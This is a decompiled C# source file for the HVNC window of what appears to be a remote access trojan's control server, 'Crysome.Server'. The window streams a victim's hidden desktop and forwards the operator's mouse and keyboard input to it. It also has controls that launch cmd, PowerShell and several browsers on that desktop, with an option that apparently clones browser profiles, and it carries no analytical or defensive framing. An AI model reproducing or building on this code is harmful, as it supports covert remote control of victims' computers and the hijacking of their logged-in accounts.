crysome/Crysome.Server/Crysome.Server.View/HvncWindow.cs

using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media.Imaging;
using System.Windows.Threading;
using Crysome.Server.Model;
using Crysome.Server.ViewModel;
using Wpf.Ui.Controls;

namespace Crysome.Server.View;

public class HvncWindow : FluentWindow, IComponentConnector
{
	private readonly ClientInfo _client;

	private readonly ManageClientsViewModel _vm;

	private int _remoteWidth = 1920;

	private int _remoteHeight = 1080;

	private bool _streaming;

	private byte[] _latestFrame;

	private readonly object _frameLock = new object();

	private bool _updatePending;

	private readonly HashSet<int> _keysDownSent = new HashSet<int>();

	private int _lastSentKeyOrChar;

	private int _lastSentTicks;

	private const int SendThrottleMs = 120;

	private long _lastLeftDownTicks;

	private Point _lastLeftDownPos;

	private bool _suppressSecondLeftDown;

	private const int DoubleClickMs = 400;

	private const double DoubleClickMaxDistance = 10.0;

	private int _frameCount;

	private long _fpsTickStart;

	private DispatcherTimer _fpsTimer;

	private const int WM_MOUSEMOVE = 512;

	private const int WM_LBUTTONDOWN = 513;

	private const int WM_LBUTTONUP = 514;

	private const int WM_LBUTTONDBLCLK = 515;

	private const int WM_RBUTTONDOWN = 516;

	private const int WM_RBUTTONUP = 517;

	private const int WM_KEYDOWN = 256;

	private const int WM_KEYUP = 257;

	private const int WM_CHAR = 258;

	private const int VK_SHIFT = 16;

	private const int VK_CAPITAL = 20;

	private const int VK_BACK = 8;

	private const int VK_TAB = 9;

	private const int VK_RETURN = 13;

	private const int VK_ESCAPE = 27;

	private const int VK_PRIOR = 33;

	private const int VK_NEXT = 34;

	private const int VK_END = 35;

	private const int VK_HOME = 36;

	private const int VK_LEFT = 37;

	private const int VK_UP = 38;

	private const int VK_RIGHT = 39;

	private const int VK_DOWN = 40;

	private const int VK_INSERT = 45;

	private const int VK_DELETE = 46;

	internal TextBlock TitleText;

	internal Button StartBtn;

	internal Button StopBtn;

	internal Button CloseBtn;

	internal Viewbox HvncViewbox;

	internal Image HvncImage;

	internal ToggleSwitch CloneControlSwitch;

	internal ToggleSwitch MouseControlSwitch;

	internal ToggleSwitch KeyboardControlSwitch;

	internal TextBlock StatusText;

	internal TextBlock FpsText;

	internal Slider IntervalSlider;

	internal TextBlock IntervalLabel;

	internal ComboBox QualityCombo;

	private bool _contentLoaded;

	[DllImport("user32.dll")]
	private static extern short GetKeyState(int nVirtKey);

	[DllImport("user32.dll")]
	[return: MarshalAs(UnmanagedType.Bool)]
	private static extern bool GetKeyboardState(byte[] lpKeyState);

	[DllImport("user32.dll")]
	private static extern uint MapVirtualKey(uint uCode, uint uMapType);

	[DllImport("user32.dll")]
	private static extern int ToAscii(uint uVirtKey, uint uScanCode, byte[] lpKeyState, out uint lpChar, uint uFlags);

	public HvncWindow(ClientInfo client, ManageClientsViewModel vm)
	{
		InitializeComponent();
		_client = client;
		_vm = vm;
		((Window)this).Title = "HVNC — " + (client?.Address ?? "?");
		TitleText.Text = ((Window)this).Title;
		IntervalSlider.ValueChanged += delegate
		{
			IntervalLabel.Text = (int)IntervalSlider.Value + "ms";
		};
		((Window)this).Closed += delegate
		{
			DispatcherTimer fpsTimer = _fpsTimer;
			if (fpsTimer != null)
			{
				fpsTimer.Stop();
			}
			if (_streaming)
			{
				_vm.StopHvnc(_client);
			}
			_vm.UnregisterHvncFrames(_client);
		};
	}

	private void StartBtn_Click(object sender, RoutedEventArgs e)
	{
		//IL_00d8: Unknown result type (might be due to invalid IL or missing references)
		//IL_00dd: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ef: Expected O, but got Unknown
		_streaming = true;
		_frameCount = 0;
		_fpsTickStart = Environment.TickCount64;
		((UIElement)(object)StartBtn).IsEnabled = false;
		((UIElement)(object)StopBtn).IsEnabled = true;
		StatusText.Text = "Streaming hidden desktop. Click on image to control.";
		HvncImage.Focus();
		int quality = QualityCombo?.SelectedIndex switch
		{
			0 => 100, 
			1 => 90, 
			2 => 75, 
			3 => 50, 
			4 => 25, 
			_ => 10, 
		};
		int intervalMs = (int)(IntervalSlider?.Value ?? 80.0);
		_fpsTimer = new DispatcherTimer
		{
			Interval = TimeSpan.FromSeconds(1L)
		};
		_fpsTimer.Tick += delegate
		{
			FpsText.Text = _frameCount + " FPS";
			_frameCount = 0;
		};
		_fpsTimer.Start();
		_vm.StartHvnc(_client, quality, intervalMs, delegate(byte[] imageData)
		{
			if (imageData != null && imageData.Length != 0)
			{
				Interlocked.Increment(ref _frameCount);
				lock (_frameLock)
				{
					_latestFrame = imageData;
				}
				if (!_updatePending)
				{
					_updatePending = true;
					((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)new Action(ApplyLatestFrame), (DispatcherPriority)4, Array.Empty<object>());
				}
			}
		});
	}

	private void ApplyLatestFrame()
	{
		byte[] latestFrame;
		lock (_frameLock)
		{
			_updatePending = false;
			latestFrame = _latestFrame;
		}
		if (latestFrame == null || latestFrame.Length == 0)
		{
			return;
		}
		try
		{
			BitmapImage bitmapImage = new BitmapImage();
			bitmapImage.BeginInit();
			bitmapImage.StreamSource = new MemoryStream(latestFrame);
			bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
			bitmapImage.EndInit();
			((Freezable)bitmapImage).Freeze();
			_remoteWidth = bitmapImage.PixelWidth;
			_remoteHeight = bitmapImage.PixelHeight;
			HvncImage.Source = bitmapImage;
		}
		catch
		{
		}
	}

	private void StopBtn_Click(object sender, RoutedEventArgs e)
	{
		_streaming = false;
		DispatcherTimer fpsTimer = _fpsTimer;
		if (fpsTimer != null)
		{
			fpsTimer.Stop();
		}
		_fpsTimer = null;
		FpsText.Text = "";
		_keysDownSent.Clear();
		_lastSentKeyOrChar = 0;
		_lastSentTicks = 0;
		((UIElement)(object)StartBtn).IsEnabled = true;
		((UIElement)(object)StopBtn).IsEnabled = false;
		_vm.StopHvnc(_client);
		_vm.UnregisterHvncFrames(_client);
		lock (_frameLock)
		{
			_latestFrame = null;
		}
		HvncImage.Source = null;
		StatusText.Text = "Stopped.";
	}

	private void CloseBtn_Click(object sender, RoutedEventArgs e)
	{
		((Window)this).Close();
	}

	private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
	{
		try
		{
			((Window)this).DragMove();
		}
		catch
		{
		}
	}

	private void ImageToRemoteCoords(Point p, out int x, out int y)
	{
		double actualWidth = HvncImage.ActualWidth;
		double actualHeight = HvncImage.ActualHeight;
		if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0)
		{
			x = 0;
			y = 0;
			return;
		}
		double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight);
		double num2 = (double)_remoteWidth * num;
		double num3 = (double)_remoteHeight * num;
		double num4 = (actualWidth - num2) / 2.0;
		double num5 = (actualHeight - num3) / 2.0;
		x = (int)((p.X - num4) / num);
		y = (int)((p.Y - num5) / num);
		if (x < 0)
		{
			x = 0;
		}
		if (x >= _remoteWidth)
		{
			x = _remoteWidth - 1;
		}
		if (y < 0)
		{
			y = 0;
		}
		if (y >= _remoteHeight)
		{
			y = _remoteHeight - 1;
		}
	}

	private static int MakeLParam(int x, int y)
	{
		return (y << 16) | (x & 0xFFFF);
	}

	private void HvncImage_MouseMove(object sender, MouseEventArgs e)
	{
		//IL_0030: Unknown result type (might be due to invalid IL or missing references)
		if (_streaming)
		{
			ToggleSwitch mouseControlSwitch = MouseControlSwitch;
			if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
			{
				ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y);
				_vm.SendHvncInput(_client, 512, 0, MakeLParam(x, y));
			}
		}
	}

	private void HvncImage_MouseDown(object sender, MouseButtonEventArgs e)
	{
		//IL_003b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0040: Unknown result type (might be due to invalid IL or missing references)
		//IL_0042: Unknown result type (might be due to invalid IL or missing references)
		//IL_009d: Unknown result type (might be due to invalid IL or missing references)
		//IL_009e: Unknown result type (might be due to invalid IL or missing references)
		//IL_006c: Unknown result type (might be due to invalid IL or missing references)
		//IL_006e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0073: Unknown result type (might be due to invalid IL or missing references)
		//IL_0078: Unknown result type (might be due to invalid IL or missing references)
		if (!_streaming)
		{
			return;
		}
		ToggleSwitch mouseControlSwitch = MouseControlSwitch;
		if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true)
		{
			return;
		}
		HvncImage.Focus();
		Point position = e.GetPosition(HvncImage);
		ImageToRemoteCoords(position, out var x, out var y);
		if (e.ChangedButton == MouseButton.Left)
		{
			long tickCount = Environment.TickCount64;
			if (tickCount - _lastLeftDownTicks < 400)
			{
				Vector val = position - _lastLeftDownPos;
				if (val.Length < 10.0)
				{
					_suppressSecondLeftDown = true;
					return;
				}
			}
			_lastLeftDownTicks = tickCount;
			_lastLeftDownPos = position;
			_vm.SendHvncInput(_client, 513, 0, MakeLParam(x, y));
		}
		else
		{
			_vm.SendHvncInput(_client, 516, 0, MakeLParam(x, y));
		}
	}

	private void HvncImage_MouseUp(object sender, MouseButtonEventArgs e)
	{
		//IL_0030: Unknown result type (might be due to invalid IL or missing references)
		if (!_streaming)
		{
			return;
		}
		ToggleSwitch mouseControlSwitch = MouseControlSwitch;
		if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true)
		{
			return;
		}
		ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y);
		if (e.ChangedButton == MouseButton.Left)
		{
			if (_suppressSecondLeftDown)
			{
				_suppressSecondLeftDown = false;
				_vm.SendHvncInput(_client, 515, 0, MakeLParam(x, y));
				_vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y));
			}
			else
			{
				_vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y));
			}
		}
		else
		{
			_vm.SendHvncInput(_client, 517, 0, MakeLParam(x, y));
		}
	}

	private static int GetModifiedChar(int vk)
	{
		GetKeyState(0);
		byte[] lpKeyState = new byte[256];
		if (!GetKeyboardState(lpKeyState))
		{
			return 0;
		}
		uint uScanCode = MapVirtualKey((uint)vk, 0u);
		if (ToAscii((uint)vk, uScanCode, lpKeyState, out var lpChar, 0u) == 1)
		{
			return (int)lpChar;
		}
		return 0;
	}

	private static bool IsControlKey(int vk)
	{
		if (vk != 8 && vk != 9 && vk != 13 && vk != 27 && vk != 33 && vk != 34 && vk != 35 && vk != 36 && vk != 37 && vk != 38 && vk != 39 && vk != 40 && vk != 45)
		{
			return vk == 46;
		}
		return true;
	}

	private void SendKeyToHvnc(KeyEventArgs e, bool isKeyDown)
	{
		//IL_0029: Unknown result type (might be due to invalid IL or missing references)
		if (!_streaming)
		{
			return;
		}
		ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
		if (keyboardControlSwitch == null || ((ToggleButton)(object)keyboardControlSwitch).IsChecked != true)
		{
			return;
		}
		int num = KeyInterop.VirtualKeyFromKey(e.Key);
		if (num == 16 || num == 20)
		{
			return;
		}
		if (isKeyDown)
		{
			_keysDownSent.Add(num);
		}
		else
		{
			if (!_keysDownSent.Remove(num))
			{
				return;
			}
			int tickCount = Environment.TickCount;
			if (IsControlKey(num))
			{
				if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num)
				{
					_lastSentKeyOrChar = num;
					_lastSentTicks = tickCount;
					_vm.SendHvncInput(_client, 256, num, 0);
					_vm.SendHvncInput(_client, 257, num, 0);
				}
				return;
			}
			int modifiedChar = GetModifiedChar(num);
			if (modifiedChar >= 32)
			{
				if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != modifiedChar + 65536)
				{
					_lastSentKeyOrChar = modifiedChar + 65536;
					_lastSentTicks = tickCount;
					_vm.SendHvncInput(_client, 258, modifiedChar, 0);
				}
			}
			else if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num)
			{
				_lastSentKeyOrChar = num;
				_lastSentTicks = tickCount;
				_vm.SendHvncInput(_client, 256, num, 0);
				_vm.SendHvncInput(_client, 257, num, 0);
			}
		}
	}

	private void HvncImage_PreviewKeyDown(object sender, KeyEventArgs e)
	{
		SendKeyToHvnc(e, isKeyDown: true);
	}

	private void HvncImage_PreviewKeyUp(object sender, KeyEventArgs e)
	{
		SendKeyToHvnc(e, isKeyDown: false);
	}

	private void Window_PreviewKeyDown(object sender, KeyEventArgs e)
	{
		if (_streaming)
		{
			ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
			if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true)
			{
				SendKeyToHvnc(e, isKeyDown: true);
				e.Handled = true;
			}
		}
	}

	private void Window_PreviewKeyUp(object sender, KeyEventArgs e)
	{
		if (_streaming)
		{
			ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
			if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true)
			{
				SendKeyToHvnc(e, isKeyDown: false);
				e.Handled = true;
			}
		}
	}

	private void RunExplorer_Click(object sender, RoutedEventArgs e)
	{
		_vm.SendHvncRunRequest(_client, 0);
	}

	private void RunRunDialog_Click(object sender, RoutedEventArgs e)
	{
		_vm.SendHvncRunRequest(_client, 1);
	}

	private void RunCmd_Click(object sender, RoutedEventArgs e)
	{
		_vm.SendHvncRunRequest(_client, 2);
	}

	private void RunPowerShell_Click(object sender, RoutedEventArgs e)
	{
		_vm.SendHvncRunRequest(_client, 3);
	}

	private void RunChrome_Click(object sender, RoutedEventArgs e)
	{
		ManageClientsViewModel vm = _vm;
		ClientInfo client = _client;
		ToggleSwitch cloneControlSwitch = CloneControlSwitch;
		vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 11 : 4));
	}

	private void RunEdge_Click(object sender, RoutedEventArgs e)
	{
		ManageClientsViewModel vm = _vm;
		ClientInfo client = _client;
		ToggleSwitch cloneControlSwitch = CloneControlSwitch;
		vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 12 : 5));
	}

	private void RunFirefox_Click(object sender, RoutedEventArgs e)
	{
		ManageClientsViewModel vm = _vm;
		ClientInfo client = _client;
		ToggleSwitch cloneControlSwitch = CloneControlSwitch;
		vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 13 : 6));
	}

	private void RunOpera_Click(object sender, RoutedEventArgs e)
	{
		ManageClientsViewModel vm = _vm;
		ClientInfo client = _client;
		ToggleSwitch cloneControlSwitch = CloneControlSwitch;
		vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 14 : 7));
	}

	private void RunOperaGX_Click(object sender, RoutedEventArgs e)
	{
		ManageClientsViewModel vm = _vm;
		ClientInfo client = _client;
		ToggleSwitch cloneControlSwitch = CloneControlSwitch;
		vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 15 : 8));
	}

	private void RunBrave_Click(object sender, RoutedEventArgs e)
	{
		ManageClientsViewModel vm = _vm;
		ClientInfo client = _client;
		ToggleSwitch cloneControlSwitch = CloneControlSwitch;
		vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 16 : 9));
	}

	private void RunNotepad_Click(object sender, RoutedEventArgs e)
	{
		_vm.SendHvncRunRequest(_client, 17);
	}

	private void RunCalculator_Click(object sender, RoutedEventArgs e)
	{
		_vm.SendHvncRunRequest(_client, 18);
	}

	private void RunDiscord_Click(object sender, RoutedEventArgs e)
	{
		_vm.SendHvncRunRequest(_client, 19);
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	public void InitializeComponent()
	{
		if (!_contentLoaded)
		{
			_contentLoaded = true;
			Uri resourceLocator = new Uri("/Crysome.Server;component/view/hvncwindow.xaml", UriKind.Relative);
			Application.LoadComponent(this, resourceLocator);
		}
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	[EditorBrowsable(EditorBrowsableState.Never)]
	void IComponentConnector.Connect(int connectionId, object target)
	{
		//IL_00d7: Unknown result type (might be due to invalid IL or missing references)
		//IL_00e1: Expected O, but got Unknown
		//IL_00fb: Unknown result type (might be due to invalid IL or missing references)
		//IL_0105: Expected O, but got Unknown
		//IL_011f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0129: Expected O, but got Unknown
		//IL_01fd: Unknown result type (might be due to invalid IL or missing references)
		//IL_0213: Expected O, but got Unknown
		//IL_0215: Unknown result type (might be due to invalid IL or missing references)
		//IL_022b: Expected O, but got Unknown
		//IL_022d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0243: Expected O, but got Unknown
		//IL_0245: Unknown result type (might be due to invalid IL or missing references)
		//IL_025b: Expected O, but got Unknown
		//IL_025d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0273: Expected O, but got Unknown
		//IL_0275: Unknown result type (might be due to invalid IL or missing references)
		//IL_028b: Expected O, but got Unknown
		//IL_028d: Unknown result type (might be due to invalid IL or missing references)
		//IL_02a3: Expected O, but got Unknown
		//IL_02a5: Unknown result type (might be due to invalid IL or missing references)
		//IL_02bb: Expected O, but got Unknown
		//IL_02bd: Unknown result type (might be due to invalid IL or missing references)
		//IL_02d3: Expected O, but got Unknown
		//IL_02d5: Unknown result type (might be due to invalid IL or missing references)
		//IL_02eb: Expected O, but got Unknown
		//IL_02ed: Unknown result type (might be due to invalid IL or missing references)
		//IL_0303: Expected O, but got Unknown
		//IL_0305: Unknown result type (might be due to invalid IL or missing references)
		//IL_031b: Expected O, but got Unknown
		//IL_031d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0333: Expected O, but got Unknown
		//IL_0336: Unknown result type (might be due to invalid IL or missing references)
		//IL_0340: Expected O, but got Unknown
		//IL_0343: Unknown result type (might be due to invalid IL or missing references)
		//IL_034d: Expected O, but got Unknown
		//IL_0350: Unknown result type (might be due to invalid IL or missing references)
		//IL_035a: Expected O, but got Unknown
		switch (connectionId)
		{
		case 1:
			((Grid)target).PreviewKeyDown += Window_PreviewKeyDown;
			((Grid)target).PreviewKeyUp += Window_PreviewKeyUp;
			break;
		case 2:
			((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
			break;
		case 3:
			TitleText = (TextBlock)target;
			break;
		case 4:
			StartBtn = (Button)target;
			((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
			break;
		case 5:
			StopBtn = (Button)target;
			((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
			break;
		case 6:
			CloseBtn = (Button)target;
			((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
			break;
		case 7:
			HvncViewbox = (Viewbox)target;
			break;
		case 8:
			HvncImage = (Image)target;
			HvncImage.MouseMove += HvncImage_MouseMove;
			HvncImage.MouseLeftButtonDown += HvncImage_MouseDown;
			HvncImage.MouseLeftButtonUp += HvncImage_MouseUp;
			HvncImage.MouseRightButtonDown += HvncImage_MouseDown;
			HvncImage.MouseRightButtonUp += HvncImage_MouseUp;
			HvncImage.PreviewKeyDown += HvncImage_PreviewKeyDown;
			HvncImage.PreviewKeyUp += HvncImage_PreviewKeyUp;
			break;
		case 9:
			((ButtonBase)(Button)target).Click += RunExplorer_Click;
			break;
		case 10:
			((ButtonBase)(Button)target).Click += RunRunDialog_Click;
			break;
		case 11:
			((ButtonBase)(Button)target).Click += RunCmd_Click;
			break;
		case 12:
			((ButtonBase)(Button)target).Click += RunPowerShell_Click;
			break;
		case 13:
			((ButtonBase)(Button)target).Click += RunEdge_Click;
			break;
		case 14:
			((ButtonBase)(Button)target).Click += RunChrome_Click;
			break;
		case 15:
			((ButtonBase)(Button)target).Click += RunFirefox_Click;
			break;
		case 16:
			((ButtonBase)(Button)target).Click += RunOpera_Click;
			break;
		case 17:
			((ButtonBase)(Button)target).Click += RunOperaGX_Click;
			break;
		case 18:
			((ButtonBase)(Button)target).Click += RunBrave_Click;
			break;
		case 19:
			((ButtonBase)(Button)target).Click += RunDiscord_Click;
			break;
		case 20:
			((ButtonBase)(Button)target).Click += RunNotepad_Click;
			break;
		case 21:
			((ButtonBase)(Button)target).Click += RunCalculator_Click;
			break;
		case 22:
			CloneControlSwitch = (ToggleSwitch)target;
			break;
		case 23:
			MouseControlSwitch = (ToggleSwitch)target;
			break;
		case 24:
			KeyboardControlSwitch = (ToggleSwitch)target;
			break;
		case 25:
			StatusText = (TextBlock)target;
			break;
		case 26:
			FpsText = (TextBlock)target;
			break;
		case 27:
			IntervalSlider = (Slider)target;
			break;
		case 28:
			IntervalLabel = (TextBlock)target;
			break;
		case 29:
			QualityCombo = (ComboBox)target;
			break;
		default:
			_contentLoaded = true;
			break;
		}
	}
}